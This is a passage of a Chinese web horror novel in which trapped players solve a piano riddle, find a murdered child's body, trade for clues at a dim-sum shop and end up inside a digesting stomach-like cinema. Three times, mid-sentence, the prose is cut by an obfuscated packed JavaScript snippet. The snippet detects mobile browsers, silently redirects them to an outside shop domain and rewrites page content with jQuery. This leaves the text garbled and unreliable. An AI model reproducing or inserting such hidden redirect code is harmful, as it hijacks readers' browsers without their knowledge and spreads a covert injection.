哆、唻、咪…… 每个音符在空旷寂静的音乐室里孤单地响起,有的沉闷,有的尖锐,有的带着明显的走音和滞涩感。 当最后一键被我弹完后,却什么也没有发生。 就在我怀疑自己是否想错了,准备收回手的刹那—— 砰!!! 沉重的琴盖以超越物理极限的速度和力量,毫无征兆地轰然砸下。 沉重的风压猛地拍在我脸上,我甚至能看清木盖边缘崩飞的碎屑。本能让我在最后一瞬抽回了手,指甲几乎擦着漆黑的盖板边缘掠过。 “吓死我了突然,晨晨你没事儿吧?”谢文岚拍了拍自己的胸口。 “请……找到……钢琴中……不纯净的……所有音阶。” 那声巨响的余韵还在空气中震颤,另一个声音便幽幽地贴了上来。 是王琴琴的声音。 褪去了哭泣的腔调,只剩下冰冷的、对音准的执拗。 我立刻伸手去掀那刚刚砸下的琴盖。 手指扣住边缘用力,可厚重的木盖如同与钢琴浇铸成了一体。 “我一个人不行,”我靠口型和眼神哑音示意,“帮忙。” 谢文岚和丁黎梓立刻上前,两人一左一右,扣住琴盖两侧。 “一、二、三——起!” 肌肉绷紧,脚下甚至微微打滑,那琴盖却连一丝缝隙都没有松动,跟被死死“锁”住了似的。 我们三人喘着气,停了手。 不是力气不够。 是“规则”不允许。 看来……我们只有一次聆听的机会。 刚才那遍混杂着走音与滞涩逐个响起的琴音,就是唯一的“考卷”。而我们,必须在记忆完全清晰、未被恐惧和后续干扰覆盖之前,从那一遍混沌的音响里,精准地挑出所有“不纯净”的音符。 没有第二次弹奏。 没有再次确认的机会。 找错了,会怎样? 我不知道。但在这座孤儿院里,任何“错误”的代价,我们都已亲眼目睹。 那卷染血的铁丝还在地上,像是等待第二个犯错的玩家。 我猛地转头——墙上的老式挂钟,指针正在逆向转动。 秒针一格一格倒退,发出干涩的“咯吱”声,时间被蛮横地回收。 倒计时已经开始。 “回忆音阶。”我敲了敲太阳穴,用眼神厉声催促,“现在!” 我的手指悬在紧闭的琴盖上凭着记忆落下。 脑海中,刚才那遍混沌的琴音被强行唤醒——最低沉的A0带着滞涩的沙哑,中央C略尖,升F有细微的颤抖……手指在琴盖相应位置快速轻点,如同在脑内铺开一张无形的琴键图谱。 时间在倒流,记忆却在逆势翻找。 谢文岚立刻明白了我的方法。 他蹲下身,视线紧跟着我手指的落点,用纸和笔迅速记录下我标记出的、有问题的音名代号。 “B2、#F4、A5……”他低声复述着。 最后一个有问题的G7被写下的瞬间。 “咔嗒。” 琴盖内部,传来一声极轻微的、宛如锁扣松开的机括声。 紧接着,靠近高音区边缘的琴盖木板,竟无声地滑开一道窄缝—— 一个邮票大小的暗格弹了出来。 里面露出一角泛黄的纸。 15. 第15章 “我被安放在‘绝对静止’之上。” “若要打开沉默之棺,需要琴歌合奏「5664345」,重建那座倒塌的桥。” “唱对了调,桥会连通。” “唱错了,我就……亲自教你。” “——永远在调上的 W.Q.Q.” 这是纸条上的内容。 丁黎梓盯着纸条:“‘绝对静止’是啥?桥又指什么?还有这串数字……” “屋里只有钢琴。”我在纸上快速写下,笔尖几乎划破纸面,“‘绝对静止’应该是指消音踏板吧……数字是简谱,儿歌。毕竟王琴琴还是孩子。” “什么儿歌旋律这么怪……”谢文岚低声嘟囔,手指无意识地扣了扣琴盖边缘。就在这时,原本紧闭的琴盖竟微微松动,明明之前我们合力都打不开,现在居然开了。 果然。钥匙就是这架钢琴,和那段旋律。 「5664345」…… 我在心里默哼。不对,有个音很别扭。如果是「5654345」就对了……我猛地抓过纸,把记忆中的正确旋律飞快写下: 5 6 5 4 | 3 4 5 — 2 3 4 — | 3 4 5 — 5 6 5 4 | 3 4 5 — 2 — 5 — | 3 — 1 — “几乎一样,”丁黎梓用指尖点着纸条上那串数字,“只差一个音,她把第二个‘5’记成了‘6’。” “和她刻在床板上的错误一样。”谢文岚声音沉了下去,“她不是记错,是真心以为……那个音就该是6,毕竟她总唱跑调的就是这个音。” 我点了点头,在“6”字上重重画了个圈,又在旁边写下: “而且纸条上写,重建那座倒塌的桥,如果是儿歌的话,我觉得对应的就是《伦敦桥要塌了》这首儿歌。”我写下,“它里面有句歌词,就是build it up with bricks and mortar,就是造桥的意思。我觉得就是这首歌没错!” “那就简单了!”丁黎梓转向谢文岚,“晨晨现在就只有一条手臂,还被闭了麦,那就咱俩一个弹一个唱,赶紧……” 话音未落,我伸手拽住了他的胳膊,示意他别着急。 “歌词里……还有一句‘my fair lady’。”我把这首歌的歌词写了下来,将这三个单词画了圈,“我不确定这是否暗示必须由女性来唱,或者来弹。当然也可能是我想多了。” “可你现在说不了话,又……”丁黎梓看了眼我空荡的左臂,把后半句咽了回去,烦躁地挠了挠头,“我觉得这就是句歌词,哪有那么玄乎,还规定性别?系统真要弄死我们,用得着绕这弯子?” “还是听晨晨的。”谢文岚瞥了一眼铁丝,声音压低,“梁婉儿只是尖叫一声也被系统判为‘回应’。万一系统又搞什么名堂,下一个死的,就不一定是谁了。” 窒息的沉默再次笼罩下来,只有墙上逆走的钟发出催命般的“咯咯”轻响。 “我……我来唱吧。” 我们霍然转头。 是白羽。 她不知何时已经醒了,背靠着墙,睫毛上还沾着未干的泪痕,眼神里没有了先前崩溃的涣散。 “张潜和婉儿没能走出这个副本。你已尽了全力了,晨晨。你劝过张潜和我们一起行动,也提醒过婉儿不要出声。我们都知道规则有多残酷……你已经做的够多了,现在,轮到我了。” 她说得对。这仅仅是第二个副本,我们就已经两死一残。往后的路……只会更血腥,更绝望。 白羽踉跄着走到我身边,低头看着我写下的简谱和歌词。她嘴唇无声地开合,一遍遍默念着词句练习。 我坐在琴凳右侧,用目光扫过丁黎梓和谢文岚——我需要一个人与我合奏。即便只剩一只手,弹奏主旋律还是OK的,但若需和弦或低音铺垫,另一双手至关重要。 虽说不确定是不是弹奏也要女生,反正我弹了,就算只有一只手弹,肯定是没问题,谨慎一点总没错。 谢文岚读懂了眼神,轻轻拍了拍丁黎梓的肩膀:“你去,我负责观察。” 我踩着消音踏板,对丁黎梓比了个手势:C大调,4/4拍。 他点头,白羽也准备好了。 演奏和歌声都很完美。 余音未散—— “咔哒…咯啦啦……” 钢琴内部传来一连串巨大的机械传动声,紧接着,在我们震惊的注视下,琴身微微颤动起来。 它底部原本严丝合缝的琴箱侧板缓缓滑开,露出了一个漆黑的方形洞口。 一股浓烈到令人作呕的蜂蜡味猛地冲出、刺鼻的腥气、以及尸体朽坏的复杂味道,瞬间充斥了整个音乐室。 我们僵在原地,看着那漆黑的洞口,没有人上前。因为在那浓重的腐败气息中,还夹杂着一丝更令人头皮发麻的、细微的…… 哼唱声? 仿佛洞口的深处,有什么东西……正在跟着轻轻哼唱。 谢文岚的手轻轻按在我和白羽的肩上,力道沉稳,示意我们做好心理准备。 他深吸一口气,将手电光柱毅然投向那幽深的洞口。 光圈锁定之处,赫然是—— 王琴琴。 她以一种极不自然的姿势蜷缩在狭窄的琴箱内。 最刺目的是她的脖颈——那根熟悉的、生锈的铁丝,深深勒进皮肉,将脖子勒断了半圈,脑袋以一个诡异的角度后仰着。 她的脸在手电光下泛着青白,眼睛瞪得老大,瞳孔空洞地扩散,而她的嘴,正像老旧的发条玩偶般,一下,一下,机械地张合。 从那张合的漆黑口腔里,溢出微弱却音准无误的哼唱: “5… 6… 5… 4… 3… 4… 5…” 正是《伦敦桥》原本正确无误的调子,仿佛她死后,反而被“矫正”成了院长要求的“纯净”。 我们如同被冻住,听着这亡者的清唱在腐朽的箱体内回荡。 几秒钟后,最后一个音符微弱地散去。 哼唱,戛然而止。 那张合的嘴,也终于停住,定格在一个微微张开、仿佛还想诉说什么的僵硬弧度上。只有那双眼睛,依旧“望”着我们。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976129|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丁黎梓喉结剧烈地滚动了一下,他看了看我们,又看向那具近在咫尺的、散发着浓烈蜡臭的幼小尸体。 “得……得搬出来。”他像是说给我们听,也像是说服自己。他试探性地伸出手,指尖朝向王琴琴的肩膀。 我和白羽不自觉地贴得更近,后背相抵,能感觉到彼此无法抑制的颤抖和如擂鼓般的心跳。 我们几人如同绷紧后又骤然松弛的弦,好在并没发生什么。 我扭头看向墙壁——那面倒走的钟,指针已恢复了正常的顺时针转动。晚上8点44分。 “还有十六分钟到九点。”我指了指钟,眼神示意,“必须回寝室。” 规则铁律:九点就寝。 丁黎梓不再犹豫,用尽可能轻的动作,将王琴琴冰冷僵硬的尸体从琴箱中抱了出来。孩子轻得吓人,蜷缩的姿态仿佛仍在母腹,唯有脖子上那圈深陷的铁丝和扭曲的角度,昭示着惨烈的终结。白羽强忍着生理与心理的双重不适,帮忙托着。 没有多余交流,我们分工明确。 丁黎梓背着尸体,白羽紧跟,迅速消失在通往寝室的走廊。 我和谢文岚则转向反方向的医务室。 我单手持着手电照明,光束扫过满墙斑驳的药品柜,谢文岚目标明确,翻出缝合包、剩余酒精、纱布。 寝室里,时间正被秒针啃噬。 王琴琴的尸体被丁黎梓安置在四号床,逐渐消散。 白羽坐在床边,伸出那双血肉模糊的手。手电下,伤口皮肉外翻,深可见骨。 “忍着点。”丁黎梓咬开酒精瓶盖,直接淋了上去。 “呃——!” 白羽身体剧烈一抖,额角瞬间布满冷汗,却死死咬住另一只手的衣袖,没让自己叫出声,泪水和冷汗混合着滑下脸颊。 丁黎梓将针尖刺入皮肉,引着线快速穿过、拉紧。没有麻醉,每一针都让白羽浑身紧绷。 他额上也沁出汗珠,不知是费力还是紧张,缝合的针脚歪斜,但确确实实在将裂开的皮肉强行归拢。血珠不断渗出,又被迅速擦去。 8点59分。 “快!躺下!最后一分钟!”在门口放风的谢文岚压低声音急催,他的目光死死盯着走廊。 丁黎梓剪断最后一根线头,看也没看那粗糙的缝合结果,将针线剪刀连同染血的纱布胡乱一团,塞进了最近的床底。 “上床!” 我和谢文岚也冲回了寝室。 没有时间处理满手血腥,四人如同惊弓之鸟,在最后几秒内,扑向各自的床铺。 鞋都来不及脱。 身体重重砸在硬板床上的刹那—— 九点整。 只有四个压抑到极致的呼吸声,在各自的位置上,小心翼翼地、痛苦地起伏。 这一次,或许是因为失血过多,或许是因为断臂处持续不断的剧痛终于压垮了神经,又或许仅仅是……太累了。 累到连恐惧都无法持续供能。 没有挣扎,没有试图保持警惕。 我就像一台强制关机的机器,在教学楼传来的九点整的钟声余韵里,彻底坠入了沉睡。 16. 第16章 “嗯……几点了?”声音沙哑得像砂纸摩擦,但确确实实,传了出来。 我猛地一怔,下意识又重复了一遍:“……我能说话了? “看来系统的‘闭麦’只是暂时性的惩罚,或者有时限。”谢文岚的声音从隔壁床传来,他似乎早就醒了,“能说话就好。感觉怎么样?” “活着。”我简短地回答,试着慢慢坐起身。 我看向白羽的方向。她也醒了,蜷坐在床上,正低头看着自己红肿不堪的手指,缝合的线像蜈蚣一样爬在绽开的皮肉上,看着就疼。 “手怎么样?”我问。 她尝试着慢慢屈伸了一下手指,动作僵硬而艰难。 “疼……而且,没什么力气。我应该是……暂时握不住什么东西了。” “咕噜噜——” 一阵响亮的腹鸣打破了沉闷,来源是丁黎梓的床铺。他有些尴尬地挠了挠头坐起来:“那什么……找地方弄点吃的?体力跟不上更麻烦。” “得去,”我点头,失血和疼痛消耗巨大,饥饿感确实已经灼烧着胃袋,“往反方向探索吧。” 我用还能动的右手,费力地翻找出剩下的止痛片,干咽了下去,剩下的递给了白羽。 “给我俩五分钟,等药效上来。” 我们沿着与上次早餐店相反的方向走。 就在体力和耐心都濒临耗尽时,前方豁然开朗——竟是一个喧闹的早市。 热气蒸腾,各色早点摊铺沿街排开,油条在翻滚的油锅里滋滋作响,包子笼屉冒着白烟,叫卖声、交谈声、碗碟碰撞声……一切都真实得令人恍惚。 “终于……!这得走了有两三公里吧?”丁黎梓眼睛放光,瞬间忘了疲惫,朝着一个挂着“凉皮”招牌的摊子狂奔而去。 砰! 一声闷响,他像是撞上了一堵看不见的玻璃墙,整个人被狠狠弹了回来,踉跄着摔倒在地。 眼前的早市景象依然鲜活,但空气中似乎多了一层无形的、微微扭曲的热浪,应该是结界。 “叮咚~” 系统的提示懒洋洋地响起,“温馨提示:请勿尝试离开副本规定的活动范围哦!乱跑的孩子,会被抓去‘单独辅导’的~” “靠!”丁黎梓爬起来,狠狠拍打着裤腿上的灰尘,对着那片透明的结界咬牙切齿,“凉皮吃不上就算了,整条街的早餐……看得见摸不着!” “不一定。”我的目光扫过那片被圈定的“可活动区”,最终锁定在边界内侧、紧挨着透明墙的一家店面。“系统给我们留了一家。” 那是一家看起来格格不入的自助式快餐厅。门口简陋地立着块“供应早餐”的白板,里面人声嘈杂,蒸汽缭绕。 食物像大食堂一样提前做好,堆放在开放式餐台上。 唯一的员工——一个面色麻木的中年女人——像雕像般守在入口的收银台后,眼神空洞地望着前方。 我们将一堆硬币递给门口的女人。她眼皮都没抬,指尖在硬币上随意一抹,就侧身放行。 餐厅内嘈杂而拥挤,长条餐台上,各色点心在蒸笼热气中若隐若现。 “这都……啥玩意儿?”丁黎梓凑到餐台前,看着琳琅满目的小巧蒸笼和碟子,有些发懵。 那些精致透明的虾饺、荷叶包裹的糯米鸡、晶莹的椰汁糕、色泽诱人的山楂糕……与他认知里的“早餐”大相径庭。 “你没去过广东吧,这是早茶。”我简单解释,目光扫过点心。 在这种地方看到这些,有种强烈的不真实感。 谢文岚已经利落地拿起两个餐盘,眼里难得闪过一丝亮光。 “嗯!?竟然真是早茶!”他语气里带着点终于遇到熟悉事物的爽朗,转头对我说,“晨晨,看着拿,每样先夹两个。虾饺多拿点,这玩意贵。” 他快速的动作和略显明亮的眼神,还是泄露了同为老乡看到这点念想时,那一瞬下意识的放松。 我们正吃得正香,突然传来一阵粗哑刺耳的斥骂,瞬间压过了大厅的嘈杂。 “你个没用的东西!眼睛瞎了,手也废了吗?!”一个系着油腻围裙、膀大腰圆的男人,正用手指戳到门口那个女人的额头上。 “客人给的钱明明就不够!那硬币是一块还是五毛你分不清啊?啊?!” 女人低着头,沉默地承受着,那双先前看来只是空洞的眼睛,此刻才显出真正的无神与涣散。 原来她是个盲人。 男人越骂越火,唾沫星子都喷到她脸上:“还有上次!上次!那个小崽子往钱桶里扔了几个磨得光溜溜的石头子儿,你就当他给了钱放他进去了!结果呢?后厨盘点,点心硬是少了快一半!亏得老子裤衩子都快赔进去了!” 他猛地抓起肩上一条脏得看不出本色的毛巾,狠狠往地上一摔,又喘着粗气捡起来搭回肩膀,手指仍不甘地指着女人颤抖的肩:“我告诉你,要不是看在你是个瞎子,可怜你,早就让你滚蛋了!再有一次!我管你看不见看得见,赶紧滚蛋!” 吼完,他狠狠地“呸”了一声,转身骂骂咧咧地钻回了雾气腾腾的后厨,留下那盲女人独自僵在原地,手指无意识地捻着围裙一角。 餐厅里其他食客仿佛对此习以为常,只是稍稍安静了一瞬,便又恢复了喧哗。 “石子儿。” 我低声重复,立刻抓住了这个细节,看向队友,“店员说,有小孩用磨平的石子冒充钱币,我觉得可能是……” 谢文岚眼神一凛:“你是说一号床的?” “对,”我点头。 “可收钱的是个盲人,”白羽轻声提醒,“她分辨不出。” “但骂人的店员肯定看见了。”我转向后厨方向,果断道,“我去问。” 在队友略显担忧的注视下,我走向那个刚刚发完火、正背对着我们用力揉面的壮硕店员。 我伸出右手,拍了拍他汗湿的后肩。“您好,打听个事。” 他动作没停,粗声道:“没空。” “关于刚才您说的,用石子换吃的那个孩子。”我压低声音,“他长什么样,您还记得吗?” “不知道。”他头也不回,面团摔在案板上发出沉闷的响声。 早有预料。 我抛出准备好的条件:“他拿走的那些点心,钱我可以补给您。双倍。” 揉面的手顿住了。 他慢慢转过身,油腻的围裙上沾满面粉。 那双泛着红血丝的眼睛先落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976130|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我脸上,随即视线下移,死死盯住了我空荡荡的左肩袖管,眉头拧成一个厌恶的疙瘩。 “怎么又来个残的……”他低声咕哝,像在抱怨晦气,“我们这小店,可养不起第二个吃白饭的。” 我抬起右手,做了个“打住”的手势。 “您误会了。我只是想问清楚那孩子的事,补钱,换信息,两清。” 他眯着眼打量我,似乎在权衡。 后厨的蒸汽在我们之间翻滚,带着面粉和劣质油脂的味道。 几秒后,他朝角落歪了歪头,声音压得更低,透着一股市侩的精明与不耐: “到那边说。别挡着道。” 我注视着眼前这个面相不善、满手油污的男人。 他骂得难听,算得精明,可即便如此,门口那个一再“失职”的盲女收银,他仍留她在店里。 这份藏在粗粝表象下的容忍,让我愿意赌一把——这里的食物,或许真的“只是食物”。 “你打听那个小偷干什么?”他眯起眼,警惕未消,“你是他什么人?” “不算什么人。”我面色平静地扯谎,“以前在我看管的铺子里,他偷了我的钱。后来就再没见过。今天听您提起,想问问他的情况。” 男人沉默地看了我几秒,那双被烟火气熏得浑浊的眼睛里,闪过一丝极难察觉的复杂情绪。 “你倒是心善。”他嗤笑一声,“但在这鬼地方,心善是最不值钱、也最没用的东西。活不长。” “可您不也一样吗?”我迎着他的目光,声音放平缓了些,“门口那位大姐,给您惹的麻烦不止一次两次。您嘴上骂得凶,可到底……也没真赶她走。” “她?”他喉头滚动了一下,“她眼睛瞎了,男人死得早,家里就剩她下不来床的婆婆。赶她走?赶她走,她娘俩明天就得饿死,或者……变成不知道什么东西的‘点心’。” 他猛地抄起手边的擀面杖,重重捅了捅旁边熊熊燃烧的灶眼,火星噼啪炸起。 点心……? 他果然知道什么。 “能具体说说么?”我压下喉头的寒意,追问道,“难道……那个用石子的小孩,后来被……做成‘吃的’了?” 说出这句话时,我自己都觉得荒谬。系统会重复使用同一种死亡方式吗? “那倒不是。”男人摇了摇头,用围裙角慢慢擦着手上的油污面粉,然后拉过一张吱呀作响的凳子坐下。“唉,这事儿……也挺邪门。算了,告诉你也无妨。” 他点了根劣质卷烟,烟雾混入蒸腾的水汽里。 “从头说吧。一共来过两个小崽子。” “第一个,就是给石头的那个。门口那婆娘眼睛不行,手也笨,摸了几下没摸出不对,就放他进来了。那小兔崽子,进来可一点没客气,连吃带拿,卷走不少。” 他啐了一口,仿佛当时的火气又上来了,“我当时气够呛,但也留了个心眼。这种尝到甜头的小鬼,九成九会再来。” “果然,没过多久,又来了个小子。”他弹了弹烟灰,眼神阴沉下来,“这次他学‘聪明’了,没给石头,给的是一捧纽扣,各种样式的。呵,那瞎婆娘更分不清了。但这回我盯着呢,当场就给他拎住了。” 17. 第17章 “钱在这里,一分不少。”我将一沓新旧不一的纸币轻轻推到案板上。 半晌,他点了点头,将钱卷起塞进围裙内袋。“等着。” 他转身,踮脚从灶台后方一个被油烟熏得漆黑的壁柜顶端,摸下来一个同样沾满油污的旧铁盒。 打开铁盒,里面杂七杂八放着些零碎:几枚生锈的螺丝、半截粉笔、还有用破布分别包着的两小团东西。 他解开布包,倒出里面的东西,推到我面前。 一把是石头,边缘已被摩挲得十分光滑,显然被长期把玩。 另一把是几枚旧纽扣。 “石子是第一个的,纽扣是第二个的。”他言简意赅,算是完成了交易。 我正要伸手去拿—— “等下。”男人又叫住我,在堆满杂物的案板下摸索了好一阵,才掏出一个折叠起来的、边缘磨损的纸片。 纸片皱巴巴,浸过油污和水渍,颜色发黄。 “这个,”他递过来时,手指紧了紧才松开,“是从给纽扣那小子身上衣兜里掉出来的。我捡着了,没声张。” 我接过来,小心翼翼地展开。纸张很脆,上面画着一些歪歪扭扭的线条、图块和意义不明的符号。有些地方被污渍晕染开,有些线条反复描画,显得混乱而急切。 “地图?”我辨认着,但上面的标记过于抽象,难以对应孤儿院已知的结构。“他画的?” “鬼知道。”男人移开目光,重新拿起面团,语气恢复了之前的疏离,“东西都给你了。赶紧吃完,赶紧走。” 饱腹感带来的短暂慰藉,在重新面对这些冰冷线索时迅速消散。 我们将那张抽象地图、几颗纽扣,还有几枚光滑的石子摊开。 最终,目光都聚焦在一号床板刻着的那个小小棋盘上。 几颗被胶水固定的石子,散落在纵横交错的刻痕之间,像一场凝固的残局。 “这到底什么意思……”白羽俯身细看,受伤的手虚悬着,“棋子就只有这一种石子,连颜色、大小都差不多……能看出什么局势呢?” 一种石子? 是啊,只有一种石子。 可这不对。 我仔细扫过棋盘刻痕,回忆着小时候下过的棋类,无论是五子棋、围棋,还是最简单的对角棋,必然需要两种不同的棋子来区分双方。就连跳棋,也需要颜色区分阵营。 而眼前这“残局”,石子分布的位置和数量,明显是双方对弈到中盘的样子。 “这应该不是一色棋。看这里,和这里……”我用指尖虚点棋盘上几处关键,“黑子若在这里‘叫吃’,白子就必须应。但现在这些石子的位置,根本构不成有效的攻防,它们可能只是其中一方的子。而另一方的棋子……不见了。” 谢文岚立刻领悟:“所以,我们需要找到‘另一种棋子’?代表棋盘上缺失的那一方?” 丁黎梓挠头:“可这上哪找?另一种石子?还是别的什么东西?” “数清楚。” 我将所有能找到的纽扣都摊开在床单上,既有从五号床缝隙里找到的,也有厨房男人给的那些。 接着,我开始根据棋盘上石子固定的位置,以及最基本的棋类规则,在脑海里逆向推演那场可能存在的对局。 右手食指虚点在刻痕交点上,模拟着黑白双方的落子。 “如果这里是黑子的阵营……那么白子应该在这里反击……这一步是‘扑’,故意送吃……”谢文岚在我身旁蹲下,补充着我的推演。 推演越来越清晰。我小心翼翼地将代表“白方”的纽扣,一颗颗放到它们可能原本的位置上。然后,将那些代表被“提掉”的棋子区域空出来。 最终,一幅完整的、逻辑自洽的残局呈现在眼前。 接下来是验证。 根据推演,男人给的纽扣总数和棋盘上白方应有的棋子数一致。 五号床找到的散落纽扣数和被吃掉的白子数一致。 男人给的石子数量和被吃掉的黑子数一致。 我猜,这是两个小朋友在绝境中用仅有的玩具和执念,留下的最后线索。 下一步,无疑是破解那张地图。 一张是从五号床板背面拓下的蜡笔“宝藏图”,另一张是抽象草图。 “关键在这张草图。”我将男人给的那张油腻地图平整铺开,“你们看,图纸的大小比例,和床板上刻的棋盘几乎完全一致。” 谢文岚立刻用手指虚量,点了点头:“不是巧合。纸张是被刻意裁成这个尺寸的。” “那么线索必然和棋局本身绑定。”我的目光在棋盘与地图间来回移动,“最大的可能……是这些被吃掉的子。” “试试看。”我将双方被吃掉的棋子轻轻放在地图上,位置对应着它在棋盘上被“吃掉”的坐标,用不同颜色的笔画了个叉。 地图上,被吃掉的棋子清晰地指向两个截然不同的方向。 按照它们被“吃掉”的顺序推演,我们必须分头探索这两种颜色的坐标点。 “现在我们只剩四个人。”我的目光扫过队友——白羽缠满绷带的手,自己空荡的左袖,以并没有受伤的丁黎梓和谢文岚,“分队是唯一选择。我和白羽都有伤,必须分别和你们中的一个组队,保证每队至少有一个行动力健全的人。” 话音未落,丁黎梓几乎毫不犹豫地接口:“那我跟你。” 他的眼神直直看过来,有一种不容反驳的坚持,甚至没去看白羽瞬间苍白的脸。 我心头一梗。 就你会选人。 明面上,他选择跟随经验最丰富、但此刻战力不在线的我,或许出于保护,或许出于依赖。但这意味着,自保能力最差、心理状态更脆弱的白羽,将不得不与冷静但或许没那么会安慰人的谢文岚一队,去面对另一条未知路径。 “要不……我和你一队?”我抬起右手,弱弱提议看向谢文岚。 他却干脆地摇头:“我带着白羽没问题。怎么,你不想和他一队?”他问得直接。 “……”我被这话堵得一时语塞。 再解释下去,反而显得我多虑或矫情,更可能动摇本就紧绷的团队气氛。 “没有。”我最终垂下眼,摇了摇头,“那就这样吧。” 多说无益。 现在不是纠结分组的时候,地图上那冰冷的坐标不会等待,每晚九点准时降临的就寝规则更不会延迟。 我和丁黎梓对视一眼,他眼中有种“早就该如此”的坦然,甚至隐隐松了口气。 我们以孤儿院大门为原点,在脑海中对坐标进行着艰难的换算与行进。 空气变得越来越潮湿厚重,带着土壤特有的腥涩和陈旧的霉味。 最终,我们停在一处标有模糊电影胶卷图案的锈蚀铁门前——第一个标记点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976131|193499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>推开门,眼前是一个小型、完全废弃的电影院。 入口处的售票窗积满灰尘,海报墙上的纸片早已褪色剥落,勉强能辨认出夸张的戏剧脸谱。 寂静中,只有不知从何处传来的、极其规律的滴水声,哒…哒…哒…,像某种倒计时,敲打着紧绷的神经。 万幸,这里只有一个观影厅,结构简单。 “这里……会有什么?”我用手电扫过空荡的走廊,光束切开黑暗,照出翻倒的爆米花桶和满地垃圾,地面湿湿黏黏的,还有点滑。 推开沉重的隔音门,观影厅内是吞噬一切的浓黑。 手电光像一把小刀,只能划开眼前一小片范围。 “这也太黑了。”丁黎梓的声音在身边响起,紧接着,一只温热有力的手突然抓住了我,“放映厅后台一般都有应急灯或者工作灯,我去找找开关。你看不清,我先带你……” 他的触碰来得太突然,我浑身一僵,一股混合着尴尬、不适和被冒犯的燥热瞬间冲上脸颊。 几乎是本能地,我用力想甩开,同时下意识抬起左手想去帮着挣脱。 可抬起的,只有空荡荡的袖管。 那一瞬间的错位感和无力感,比眼前的黑暗更让人心悸。 “放手!”我的声音猛地拔高,在空旷的放映厅里激起回音。 我用尽全身力气,终于将右手从他掌心抽了出来,整个手都在发麻。 “我自己能走,看得见!” 黑暗放大了一切声响。我急促的呼吸,他略显错愕的沉默,还有那永不间断的、令人心烦意乱的滴水声。 丁黎梓似乎愣了几秒,手电光晃了一下。“……抱歉。”他声音低了下去,有些生硬,“我只是……怕你摔倒。这里太黑,地上又滑。” 我没接话,只是迈步向前。 失去左臂平衡差,在堆满杂物的黑暗中行走确实艰难,但比起被那样牵着走,我宁愿自己摸索。 我们一前一后,沉默地朝着银幕下方可能存在的后台入口走去。 手电光晃过斑驳的墙壁,上面似乎有一些凌乱的、深色的涂鸦痕迹。 而那个规律的滴水声,听起来仿佛就在幕布之后。 丁黎梓的手抓住厚重幕布的边缘,猛地向旁边一拉。 灰尘扬起,在手电光柱中狂舞。 幕布之后,并非想象中斑驳的砖墙或后台通道,而是肉膜般的暗红色腔体。 它微微起伏,如同在缓慢呼吸,表面布满湿滑粘腻的光泽和蜿蜒凸起的、类似血管的青紫色脉络。腔体向上延伸,没入我们头顶上方更深邃的黑暗,而那里,正是滴水声的源头。 在我们的正上方,腔体的“天花板”上,凝结着一颗颗黄浊粘稠、半透明的液滴,在内壁微弱的光泽映照下,像一颗颗浑浊的巨眼。 液滴缓缓膨胀,直至不堪重负—— 嗒。 一滴粘液精准地落在幕布后的地面上。 紧接着是第二滴、第三滴…… 我才发现,地面踩上去会微微下陷,渗出更多浑浊的液体。 而被滴落的粘液接触到的地方,立刻发出极其细微的“嘶嘶”声,并冒起一缕几乎看不见的白烟,留下一小片颜色更深的腐蚀痕迹。 “这……这是什么鬼地方?!”丁黎梓下意识后退半步,地面发出令人牙酸的“咕叽”声。 “这是……胃袋!?” 18.第18章 话音刚落,仿佛为了印证我的话,整个腔体猛地、缓慢地收缩了一下。 上方凝结粘液的速度骤然加快,地面也传来一阵湿滑的流动感。 嗒。 又一滴粘稠的黄浊液体滴落,精准地溅在我的靴子边缘。刺鼻的酸腐味瞬间窜起。 丁黎梓已经冲回我们刚进来的地方。 “门……门不见了!完全消失了!” 我回头看去,原本该是门的位置,此刻只有与周围别无二致的、微微搏动的暗红色腔体,仿佛那个入口从未存在过。 “看来,我们非得在这里面找到‘出路’了。” 我抬起脚,借着手电光查看靴底。 厚重的橡胶鞋底边缘,刚刚被粘液溅到的地方,已经出现了明显的、发白软化的腐蚀痕迹,正在缓慢地“呲呲”冒着极细微的气泡。 “而且,这地方留给我们的时间,恐怕不多了。” 好在我一直穿的这双厚底靴,鞋底超过3厘米。如果是普通运动鞋或小单鞋,恐怕刚才那几下,脚底板已经能感到烧灼了。 “如果这真是模拟胃酸环境,pH值大概在1.5左右。”我看着靴底边缘持续软化的痕迹,“我们最多还有45分钟。超过这个时间,再厚的鞋底也扛不住。” 我转头看向还在那片蠕动肉壁前徒劳摸索的丁黎梓:“门不会回来了。这估计是消化腔,只进不出。想活命的话,就赶紧过来跟我一块儿找线索。” “可……”丁黎梓刚挪动一步,脚下突然传来一声 “滋啦” 声,像热铁淬水。 他猛地低头,借着昏暗的光线,看见自己那双普通的帆布板鞋的鞋底边缘,竟然已经开始卷曲发黑、溶解。 这腐蚀速度比我的厚底靴要快得多。 